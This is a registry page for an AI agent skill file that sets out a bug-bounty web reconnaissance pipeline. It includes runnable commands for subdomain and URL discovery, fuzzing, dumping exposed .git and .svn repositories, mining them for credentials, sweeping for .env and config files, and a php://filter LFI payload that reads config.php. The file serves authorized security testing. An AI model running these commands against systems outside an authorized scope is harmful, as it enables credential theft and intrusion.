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AwarexoneAwarexone/Agentic-Bug-Hunter/skills/web2-recon/SKILL.md

web2-recon

Skill5.5k starsChanged 5 months agoMITView on GitHub

Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis (LinkFinder, SecretFinder), continuous monitoring (new subdomain alerts, JS change detection, GitHub commit watch). Use when starting recon on any web2 target or when asked about asset discovery, subdomain enum, or attack surface mapping.

  • Reads credentials
  • Installs packages

8 other projects use a version of this, 6 of them edited.

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Talked about on GitHub (11 times).

On GitHub · 11

6 more on GitHub

Used with

Projects with it also use bb-local-toolkit, hunt-dispatch and 4 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • hhjkjkjkSkill

    bb-local-toolkit

    Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

    Also in 3 projects that use this

  • hhjkjkjkSkill

    hunt-dispatch

    Skill-set loader for /hunt orchestrator. Fingerprints the target, picks the right platform attack skills, and loads the Red Team or WAPT skill set. Use when /hunt has just received a mode answer (redteam or wapt + blackbox|greybox) and needs to load the appropriate skills and print the taxonomy. Not for direct user invocation.

    Also in 3 projects that use this

  • +4 more from hhjkjkjk

The file

We split this skill into the rules it gives an agent

9 rules. 9 are common, 0 are distinctive, and 0 are very specific to this project.

  • 9

    Common

    Most of the 6 edited versions we read keep these.

  • 0

    Distinctive

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Common:

    All subdomains return 403 or static marketing pages

    line 45
  2. Common:

    No API endpoints visible in URLs

    line 46
  3. Common:

    No JavaScript bundles with interesting endpoint paths

    line 47
  4. Common:

    No forms, no authentication, no user data

    line 49
  5. Common:

    4-5: Only if nothing better available

    line 241
  6. Common:

    All recent reports are N/A or duplicate → hunters saturated it

    line 248
  7. Common:

    Run the standard pipeline above.

    line 604
  8. Common:

    Run gf patterns and the interesting-params grep above.

    line 608
  9. Common:

    Look for endpoints not in your URL list

    line 616

“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

WEB2 RECON PIPELINE

Full asset discovery from nothing to a prioritized URL list ready for hunting.


SETUP (one-time)

# 1. Set your Chaos API key (get free key at chaos.projectdiscovery.io)
export CHAOS_API_KEY="your-key-here"
# Add to ~/.zshrc or ~/.bashrc for persistence:
echo 'export CHAOS_API_KEY="your-key-here"' >> ~/.zshrc

# 2. Update nuclei templates (run weekly)
nuclei -update-templates

# 3. Configure subfinder with API keys for more sources
mkdir -p ~/.config/subfinder
cat > ~/.config/subfinder/config.yaml << 'EOF'
# Get free keys at: virustotal.com, securitytrails.com, censys.io, shodan.io
virustotal: [YOUR_VT_KEY]
securitytrails: [YOUR_ST_KEY]
censys_apiid: YOUR_CENSYS_ID
censys_secret: YOUR_CENSYS_SECRET
shodan: [YOUR_SHODAN_KEY]
EOF

# 4. Verify all tools installed
which subfinder httpx dnsx nuclei katana waybackurls gau dalfox ffuf anew gf interactsh-client

THE 5-MINUTE RULE

If a target shows nothing interesting after 5 minutes of recon, move on. Don't burn hours on dead surface.

5-minute kill signals:

  • All subdomains return 403 or static marketing pages
  • No API endpoints visible in URLs
  • No JavaScript bundles with interesting endpoint paths
  • nuclei returns 0 medium/high findings
  • No forms, no authentication, no user data

STANDARD RECON PIPELINE

Pre-Hunt: Always Run First

TARGET="target.com"

# Step 0: Passive — crt.sh certificate transparency (no API key needed)
curl -s "https://crt.sh/?q=%.${TARGET}&output=json" \
  | jq -r '.[].name_value' \
  | sed 's/\*\.//g' \
  | sort -u > /tmp/subs.txt
echo "[+] crt.sh: $(wc -l < /tmp/subs.txt) subdomains"

# Step 1: Chaos API (ProjectDiscovery — most comprehensive source)
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' >> /tmp/subs.txt

echo "[+] Chaos returned $(wc -l < /tmp/subs.txt) subdomains"

# Step 2: subfinder (passive multi-source)
subfinder -d $TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only $TARGET | anew /tmp/subs.txt

echo "[+] Total subdomains after all sources: $(wc -l < /tmp/subs.txt)"

# Step 3: DNS resolution + live host check
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect | tee /tmp/live.txt

echo "[+] Live hosts: $(wc -l < /tmp/live.txt)"

# Step 4: URL crawl
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -jc -kf all -silent | anew /tmp/urls.txt

# Step 5: Historical URLs
echo $TARGET | waybackurls | anew /tmp/urls.txt
gau $TARGET --subs | anew /tmp/urls.txt

echo "[+] Total URLs: $(wc -l < /tmp/urls.txt)"

# Step 6: Nuclei scan
nuclei -l /tmp/live.txt -t ~/nuclei-templates/ -severity critical,high,medium -o /tmp/nuclei.txt

Output to Organized Directory

TARGET="target.com"
RECON_DIR="recon/$TARGET"
mkdir -p $RECON_DIR

# All outputs go here:
/tmp/subs.txt         → $RECON_DIR/subdomains.txt
/tmp/live.txt         → $RECON_DIR/live-hosts.txt
/tmp/urls.txt         → $RECON_DIR/urls.txt
/tmp/nuclei.txt       → $RECON_DIR/nuclei.txt

ATTACK SURFACE TRIAGE

Find Interesting Targets in URL List

# Parameters worth testing
cat /tmp/urls.txt | grep -E "[?&](id|user|file|path|url|redirect|next|src|token|key|api_key)=" | tee /tmp/interesting-params.txt

# API endpoints
cat /tmp/urls.txt | grep -E "/api/|/v1/|/v2/|/v3/|/graphql|/rest/|/gql" | tee /tmp/api-endpoints.txt

# File upload endpoints
cat /tmp/urls.txt | grep -E "upload|file|attachment|document|image|avatar|photo|media" | tee /tmp/uploads.txt

# Admin/internal paths
cat /tmp/urls.txt | grep -E "/admin|/internal|/debug|/test|/staging|/dev|/management|/console" | tee /tmp/admin-paths.txt

# Authentication endpoints
cat /tmp/urls.txt | grep -E "/oauth|/login|/auth|/sso|/saml|/oidc|/callback|/token" | tee /tmp/auth-paths.txt

gf Patterns (Quick Classification)

# Install gf patterns: https://github.com/tomnomnom/gf
cat /tmp/urls.txt | gf xss | tee /tmp/xss-candidates.txt
cat /tmp/urls.txt | gf ssrf | tee /tmp/ssrf-candidates.txt
cat /tmp/urls.txt | gf idor | tee /tmp/idor-candidates.txt
cat /tmp/urls.txt | gf sqli | tee /tmp/sqli-candidates.txt
cat /tmp/urls.txt | gf redirect | tee /tmp/redirect-candidates.txt
cat /tmp/urls.txt | gf lfi | tee /tmp/lfi-candidates.txt
cat /tmp/urls.txt | gf rce | tee /tmp/rce-candidates.txt

# User-controlled CSS surface (themes, profile pages, HTML email renderers,
# rich-text editors, PDF generators). gf has no pattern for this — grep manually:
cat /tmp/urls.txt | grep -iE "theme|profile|signature|customize|email|invoice|pdf|render|markdown" \
  | tee /tmp/css-injection-candidates.txt
# → if any hit, run web2-vuln-classes **CSS Injection**

JS ANALYSIS

SecretFinder (API keys, tokens in JS bundles)

# Activate venv
source ~/tools/SecretFinder/.venv/bin/activate

# Scan a single JS file
python3 ~/tools/SecretFinder/SecretFinder.py -i "https://target.com/static/js/main.js" -o cli

# Scan all JS URLs found in recon
cat /tmp/urls.txt | grep "\.js$" | head -50 | while read url; do
  echo "=== $url ==="
  python3 ~/tools/SecretFinder/SecretFinder.py -i "$url" -o cli 2>/dev/null
done

deactivate

LinkFinder (Endpoints hidden in JS)

source ~/tools/LinkFinder/.venv/bin/activate

# Single JS file
python3 ~/tools/LinkFinder/linkfinder.py -i "https://target.com/app.js" -o cli

# All pages (crawls JS from HTML)
python3 ~/tools/LinkFinder/linkfinder.py -i "https://target.com" -d -o cli

deactivate

DIRECTORY FUZZING

ffuf — Standard Fuzzing

# Directory discovery on a live host
ffuf -u "https://target.com/FUZZ" \
     -w ~/wordlists/common.txt \
     -mc 200,201,204,301,302,307,401,403 \
     -ac \
     -t 40 \
     -o /tmp/ffuf-dirs.json

# API endpoint discovery
ffuf -u "https://target.com/api/FUZZ" \
     -w ~/wordlists/api-endpoints.txt \
     -mc 200,201,204,301,302 \
     -ac \
     -t 20

# IDOR fuzzing with authenticated request
# Create req.txt with Authorization: Bearer TOKEN
ffuf -request /tmp/req.txt \
     -request-proto https \
     -w <(seq 1 10000) \
     -fc 404 \
     -ac \
     -t 10

TARGET SCORING — GO / NO-GO

Score before spending time. Skip if score < 4.

CriterionPoints
Max bounty >= $5K+2
Large user base (>100K) or handles money+2
Program launched < 60 days ago+2
Complex features: API, OAuth, file upload, GraphQL+1
Recent code/feature changes (GitHub, changelog)+1
Private program (less competition)+1
Tech stack you know+1
Source code available+1
Prior disclosed reports to study+1

< 4: Skip 4-5: Only if nothing better available 6-8: Good — spend 1-3 days >= 9: Excellent — spend up to 1 week

Pre-Dive Hard Kill Signals

  1. Max bounty < $500 → not worth your time
  2. All recent reports are N/A or duplicate → hunters saturated it
  3. Scope is only a static marketing page → no attack surface
  4. Company < 5 employees with no revenue → won't pay
  5. Explicitly excludes your planned bug class in rules

TECH STACK DETECTION (2 min)

# Response headers reveal backend
curl -sI https://target.com | grep -iE "server|x-powered-by|x-aspnet|x-runtime|x-generator"

# Common signals:
# Server: nginx + X-Powered-By: PHP/7.4 → PHP backend
# Server: gunicorn OR X-Powered-By: Express → Python/Node.js
# X-Powered-By: ASP.NET → .NET
# Server: Apache Tomcat → Java
# X-Runtime: Ruby → Ruby on Rails

# Framework from JS bundle paths:
# /_next/static/ → Next.js
# /static/js/main.chunk.js → CRA (React)
# /packs/ → Ruby on Rails + Webpacker
# /__nuxt/ → Nuxt.js (Vue)

Stack → Primary Bug Class Map

StackHunt FirstHunt Second
Ruby on RailsMass assignmentIDOR (:id routes)
DjangoIDOR (ModelViewSet, no object perms)SSTI (mark_safe)
FlaskSSTI (render_template_string)SSRF (requests lib)
LaravelMass assignment ($fillable)IDOR (Eloquent, no ownership)
Express (Node.js)Prototype pollutionPath traversal + debug surface (/_debug, /__debug__) → web2-vuln-classes "Error Disclosure / Debug Endpoints"
Spring BootActuator endpoints → web2-vuln-classes "Error Disclosure / Debug Endpoints" for full surfaceSSTI (Thymeleaf)
ASP.NETViewState deserialization (if encrypted, also test padding-oracle path → web2-vuln-classes Padding Oracle & Crypto Misuse)Open redirect (ReturnUrl)
Next.jsSSRF via Server Actions + /_next/data/ / /_next/static/chunks/ → web2-vuln-classes "Error Disclosure / Debug Endpoints"Open redirect via redirect()
GraphQLIntrospection → auth bypass on mutationsIDOR via node(id:)
WordPressPlugin SQLiREST API auth bypass
SPA frameworks (React / Vue / Svelte / Angular)DOM XSS sinks via state/router → web2-vuln-classes section 3 "postMessage Testing" for cross-frame entry pointsClient-side route auth bypass (role check only in JS)

CONTINUOUS MONITORING SETUP

Set up once per target. Alerts you before other hunters.

New Subdomain Alerts (daily cron)

#!/bin/bash
TARGET="target.com"
KNOWN="/tmp/$TARGET-subs-known.txt"

subfinder -d $TARGET -silent > /tmp/$TARGET-subs-fresh.txt
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' >> /tmp/$TARGET-subs-fresh.txt

# Diff against known
NEW=$(comm -23 <(sort /tmp/$TARGET-subs-fresh.txt) <(sort $KNOWN 2>/dev/null))

if [ -n "$NEW" ]; then
  echo "NEW SUBDOMAINS: $NEW"
  echo "$NEW" >> $KNOWN
fi

# Schedule: crontab -e → 0 8 * * * /bin/bash ~/monitors/subs-watch.sh

GitHub Commit Watch

#!/bin/bash
REPO="TargetOrg/target-app"
LAST_SHA="/tmp/$REPO-last-sha.txt"

CURRENT=$(curl -s "https://api.github.com/repos/$REPO/commits?per_page=1" | jq -r '.[0].sha')
KNOWN=$(cat $LAST_SHA 2>/dev/null)

if [ "$CURRENT" != "$KNOWN" ]; then
  echo "New commit on $REPO: $CURRENT"
  echo $CURRENT > $LAST_SHA
  # Get changed files
  curl -s "https://api.github.com/repos/$REPO/commits/$CURRENT" \
    | jq -r '.files[].filename' | grep -E "auth|middleware|route|permission|role|admin"
fi

# Schedule: */30 * * * * /bin/bash ~/monitors/github-watch.sh

PORT SCANNING (often skipped — don't skip)

# naabu — fast port scanner from ProjectDiscovery
# Finds non-standard ports: 8080, 8443, 3000, 8888, 9000, etc.
cat /tmp/live.txt | awk '{print $1}' | naabu -port 80,443,8080,8443,3000,4000,5000,8000,8888,9000,9090,9200,6379 -silent | tee /tmp/open-ports.txt

# Why this matters: admin panels, debug services, internal APIs often run on alt ports
# Example wins: :8080/actuator/env (Spring Boot), :9200/_cat/indices (Elasticsearch), :6379 (Redis)

SECRET SCANNING IN JS BUNDLES

# trufflehog — high-signal secret detection with entropy analysis
# Scans JS files and git repos
pip install trufflehog3 2>/dev/null || true
trufflehog filesystem --only-verified recon/$TARGET/ 2>/dev/null

# SecretFinder — manual JS bundle scan (already in tools/)
source ~/tools/SecretFinder/.venv/bin/activate
cat /tmp/urls.txt | grep "\.js$" | head -100 | while read url; do
  python3 ~/tools/SecretFinder/SecretFinder.py -i "$url" -o cli 2>/dev/null
done
deactivate

# Quick grep for common patterns in downloaded JS
wget -q -r -l 1 -A "*.js" -P /tmp/js-files/ "https://$TARGET" 2>/dev/null
grep -rn "api_key\|apiKey\|client_secret\|access_token\|private_key\|AWS_SECRET\|AKIA" /tmp/js-files/ 2>/dev/null

GITHUB DORKING FOR TARGET

# Search GitHub for hardcoded secrets before hunting the app
TARGET_ORG="TargetOrgName"  # Check their GitHub org

# Useful dorks (search on github.com):
# org:TARGET_ORG password
# org:TARGET_ORG api_key
# org:TARGET_ORG "Authorization: Bearer"
# org:TARGET_ORG .env
# org:TARGET_ORG "BEGIN RSA PRIVATE KEY"

# CLI with gh (GitHub CLI):
gh search code "api_key" --owner "$TARGET_ORG" --json path,repository 2>/dev/null | jq '.'
gh search code "password" --owner "$TARGET_ORG" --json path,repository 2>/dev/null | head -20

# GitDorker (if installed):
python3 ~/tools/GitDorker/GitDorker.py -t GITHUB_TOKEN -d ~/tools/GitDorker/Dorks/alldorksv3 -q "$TARGET" -org

SOURCE DISCLOSURE & EXTRACTION

Recovering an app's source code is one of the highest-leverage recon moves: it converts blind black-box hunting into white-box review. A bare directory-listing or exposed file is usually Low/Info on its own — it becomes Medium/High/Critical the moment the recovered source yields hardcoded secrets, a confirmed injectable sink, or auth logic you can now bypass with certainty.

Disclosure is not the bug. The bug is what the disclosure enables. Always ask: "With this source/config in hand, can I prove a concrete attack RIGHT NOW?" If the dump is empty or contains only public framework code, it's an N/A — kill it.

Triage scan — fire these against every live host first

# One-shot probe of the highest-signal disclosure paths across all live hosts.
# Only 200s with non-empty bodies are worth a human look.
for host in $(awk '{print $1}' /tmp/live.txt); do
  for p in /.git/HEAD /.git/config /.svn/wc.db /.svn/entries /.hg/requires \
           /.bzr/branch-format /.DS_Store /.env /web.config /WEB-INF/web.xml \
           /application.properties /config.php.bak /backup.zip /.git/logs/HEAD; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$host$p")
    [ "$code" = "200" ] && echo "[HIT] $code  $host$p"
  done
done | tee /tmp/disclosure-hits.txt

# nuclei has curated templates for this — run alongside the manual sweep
nuclei -l /tmp/live.txt -tags exposure,config,git,backup -severity info,low,medium,high -o /tmp/exposure.txt

Exposed VCS — dump it, don't just report the 200

A reachable .git/ (or .svn/.hg/.bzr) lets you reconstruct the entire repo + commit history — and history is where deleted secrets, old credentials, and removed debug endpoints live. Reporting ".git/HEAD returns 200" with no dump is a weak Low; reporting the recovered source + a secret pulled from it is a strong finding.

# --- Git (most common) ---
# git-dumper reconstructs the working tree even when directory listing is OFF.
pipx install git-dumper   # or: pip install git-dumper
git-dumper "https://target.com/.git/" /tmp/dump-target
# Then mine the recovered repo:
cd /tmp/dump-target
git log --all --oneline                 # every commit, including reverted ones
git log -p --all | grep -iE "password|secret|api[_-]?key|token|BEGIN .*PRIVATE KEY"
git show $(git rev-list --all)          # walk objects if checkout is partial

# GitTools (alt) — gitdumper.sh grabs objects, extractor.sh rebuilds commits
# Useful when git-dumper chokes on a broken index:
~/tools/GitTools/Dumper/gitdumper.sh "https://target.com/.git/" /tmp/dump-gt
~/tools/GitTools/Extractor/extractor.sh /tmp/dump-gt /tmp/dump-gt-src

# Quick sanity test before dumping: is the pack/objects tree actually served?
curl -s "https://target.com/.git/config"            # remote URL → confirms real repo
curl -s "https://target.com/.git/logs/HEAD"         # ref log → commit SHAs to pull

# --- SVN ---
# SVN 1.7+ stores everything in a single SQLite DB. Pull it, then read pristine blobs.
curl -s "https://target.com/.svn/wc.db" -o /tmp/wc.db
sqlite3 /tmp/wc.db "SELECT local_relpath, checksum FROM NODES;"   # file list + blob hashes
# Pristine objects live at /.svn/pristine/<2-char>/<sha1>.svn-base
# SVN ≤1.6 instead exposes /.svn/entries (plaintext file list) + /.svn/text-base/*.svn-base
# Tooling: svn-extractor / dvcs-ripper rip-svn

# --- Mercurial (.hg) and Bazaar (.bzr) ---
# Confirm presence then dump with dvcs-ripper:
curl -s "https://target.com/.hg/requires"           # hg fingerprint
curl -s "https://target.com/.bzr/branch-format"     # bzr fingerprint
~/tools/dvcs-ripper/rip-hg.pl  -v -u https://target.com/.hg/
~/tools/dvcs-ripper/rip-bzr.pl -v -u https://target.com/.bzr/

If the repo dumps but contains only vendored framework code with no secrets and no app logic, that's an Info disclosure at best. Don't pad your N/A ratio — chain it to a real secret/sink or drop it.

.DS_Store — recursive directory map without brute force

macOS drops a .DS_Store in committed folders; deployed to a web root it leaks the exact filenames in each directory. Recurse it to map hidden admin panels, backup files, and source paths that ffuf would never guess.

# ds_store_exp parses each .DS_Store, then fetches and recurses into the names it finds.
pip install ds-store           # provides the parser
python3 ~/tools/ds_store_exp/ds_store_exp.py "https://target.com/.DS_Store"
# It writes the recovered tree to ./<target>/ — grep it for the good stuff:
grep -rilE "backup|admin|config|\.sql|\.zip|\.bak|internal|test" ./target.com/

# Manual parse if you only have one file (no listing/recursion):
curl -s "https://target.com/.DS_Store" -o /tmp/dsstore && strings /tmp/dsstore | sort -u
# Each readable name is a real sibling file/dir → feed back into the triage scan.

Backup / temp / swap file fuzzing

Editors and lazy deploys leave shadow copies that bypass the interpreter and serve raw source. index.php.bak or .index.php.swp returns plaintext PHP that a normal index.php request would execute and hide.

# Build a candidate list from paths you already know (live URLs + recovered source).
# Mutate each known file with backup/temp extensions, then ffuf against the host.
cat /tmp/urls.txt | unfurl paths | sort -u > /tmp/known-paths.txt

# ffuf: fuzz the EXTENSION on a known basename (e.g. config)
ffuf -u "https://target.com/configFUZZ" \
     -w <(printf '%s\n' .bak .old .orig .save .swp .swo .tmp .txt '~' .1 .copy .inc .dist .sample) \
     -mc 200 -ac -t 20

# ffuf: append archive extensions to the bare hostname + common roots (full-site dumps)
ffuf -u "https://target.com/FUZZ" \
     -w <(for n in backup bkp www web site app source release dist html public_html "$(echo target)"; do
            for e in .zip .tar.gz .tar .rar .7z .tgz .sql .sql.gz; do echo "$n$e"; done; done) \
     -mc 200 -ac -fs 0 -t 20      # -fs 0 drops empty 200s

# Vim swap recovery: .<name>.swp → recover original with vim -r
curl -s "https://target.com/.index.php.swp" -o /tmp/index.php.swp && vim -r /tmp/index.php.swp

# SecLists has purpose-built lists — prefer them over hand-rolling at scale:
#   Discovery/Web-Content/BackupFiles.fuzz.txt   (FUZZ-templated, mutates basenames)
#   Discovery/Web-Content/raft-large-files.txt
ffuf -u "https://target.com/FUZZ" -w ~/wordlists/SecLists/Discovery/Web-Content/BackupFiles.fuzz.txt \
     -mc 200 -ac -fs 0 -t 30

PHP source read — php://filter and .phps

If you have an LFI / file-include sink (a ?page=, ?file=, ?template= parameter — see the LFI candidates from gf), you can read PHP source instead of executing it by base64-wrapping it through php://filter. Recovered source then feeds straight into vuln hunting (find the real RCE/SQLi sink).

# Base64-encode the target file so the interpreter returns source, not executed output.
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=index.php" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d        # → raw index.php source

# Read config files holding DB creds / API keys (this is what escalates severity):
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=config.php" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d

# If allow_url_include is on, php://filter can also chain to RCE — note it, then test
# carefully under program rules (see SSRF / file-include classes in web2-vuln-classes).

# .phps — some servers map .phps to a syntax-highlighted source view. Try it on every
# script you can name (no LFI needed):
curl -s "https://target.com/index.phps" -o /tmp/index.phps   # serves highlighted source
for f in index config admin login db; do
  curl -s -o /dev/null -w "%{http_code} $f.phps\n" "https://target.com/$f.phps"
done

Env / config leaks — credentials in the open

These files map 1:1 to a payout when they contain live secrets. A bare .env listing framework defaults is Info; one with a working DB password, cloud key, or signing secret is High/Critical (verify the key works — see SECRET SCANNING IN JS BUNDLES for verification flow).

FileStackWhat's inside (escalation)
/.env /.env.local /.env.productionLaravel / Node / RailsDB_PASSWORD, APP_KEY, AWS_*, STRIPE_*, mail creds
/web.config /connectionStrings.configASP.NET / IISDB connection strings, machineKey (→ ViewState RCE — see padding-oracle class)
/WEB-INF/web.xml /WEB-INF/classes/*.propertiesJava / Springjdbc.properties, datasource creds, internal servlet mappings
/application.properties /application.ymlSpring BootDB creds, management.endpoints exposure (→ Actuator, see Error Disclosure / Debug Endpoints)
/config.php /wp-config.php /configuration.phpPHP / WP / JoomlaDB creds, auth salts, secret keys
/appsettings.json /secrets.json.NET Coreconnection strings, JWT signing keys, client secrets
/.aws/credentials /.npmrc /.dockercfgmisccloud / registry tokens
# Pull each candidate and immediately scan the body for live-looking secrets.
for p in /.env /web.config /WEB-INF/web.xml /application.properties /appsettings.json \
         /config.php /wp-config.php /configuration.php /.git/config; do
  body=$(curl -s "https://target.com$p")
  echo "$body" | grep -iqE "password|secret|api[_-]?key|aws|jdbc|connectionstring|begin .*private key" \
    && echo "[SECRET?] https://target.com$p"
done

# WEB-INF/web.xml is shielded by the servlet container — usually only reachable via a
# path-traversal/LFI sink, NOT a direct request. If you can read it, you almost certainly
# have a traversal bug worth far more than the disclosure itself.

What to do with recovered source — turn the dump into the bug

Recon hands you the source; the payout comes from the review. Run this on any recovered repo/config:

SRC=/tmp/dump-target

# 1) Secrets in tracked files AND in git history (deleted ≠ gone)
trufflehog filesystem --only-verified "$SRC"
git -C "$SRC" log -p --all 2>/dev/null | grep -iE "password|secret|api[_-]?key|token|AKIA|-----BEGIN"

# 2) Dangerous sinks → confirm an injectable path, then test it live
grep -rnE "eval\(|assert\(|system\(|exec\(|popen\(|unserialize\(|pickle\.loads|yaml\.load|Runtime\.exec" "$SRC"
grep -rnE "(SELECT|INSERT|UPDATE).+\\\$_(GET|POST|REQUEST)|\\.format\(.*request|f\"SELECT" "$SRC"   # SQLi candidates
grep -rnE "include|require|render_template_string|fopen\(.*\\\$_" "$SRC"                            # LFI / SSTI

# 3) Auth logic you can now bypass with certainty (hardcoded checks, weak JWT secret,
#    debug flags, default admin creds, IP allowlists, signature verification gaps)
grep -rniE "debug *= *true|is_admin|jwt.*secret|verify=False|disable.*auth|backdoor|TODO|FIXME" "$SRC"

# 4) Internal hostnames / endpoints not in your URL list → new attack surface (+ SSRF targets)
grep -rohE "https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/[^\"' ]*)?" "$SRC" | sort -u

Severity ladder for a report: path returns 200 = Info → recovered full source = Low → + verified secret OR confirmed exploitable sink (SQLi/RCE/auth bypass) = High/Critical. Submit at the top of the ladder you can prove, never the bottom.

Pattern seen on HackerOne / Bugcrowd: exposed .git directories dumped to full source, then mined for hardcoded credentials in commit history → account takeover / admin access (e.g. the U.S. DoD .git exposure report, hackerone.com/reports/1624157). .DS_Store recursion has paid out for revealing backup archives and debug-mode internal panels that direct fuzzing missed. Do not invent dollar figures — frame the impact, prove the chain, and let the program set the bounty.


30-MINUTE RECON PROTOCOL

Minutes 0-5: Read Program Page

Note:
- ALL in-scope assets (every domain listed)
- Out-of-scope list (read carefully — common trap)
- Safe harbor statement
- Impact types accepted (some exclude "low")
- Average bounty amount (signals program generosity)

Minutes 5-15: Asset Discovery

Run the standard pipeline above. Focus on live.txt output.

Minutes 15-25: Surface Map

Run gf patterns and the interesting-params grep above.

Minutes 25-30: Manual Exploration

Open Burp Suite. Browse the app with proxy on:

  1. Register an account
  2. Perform main user actions (create/read/update/delete resources)
  3. Note all API calls in Burp history
  4. Look for endpoints not in your URL list

After 30 min: Prioritize

Priority 1: API endpoints with ID parameters → IDOR candidates
Priority 2: File upload features → XSS/RCE candidates
Priority 3: OAuth/SSO flows → auth bypass candidates
Priority 4: Search/filter with user input → SQLi/SSRF/SSTI candidates
Priority 5: Admin/debug endpoints → auth bypass candidates

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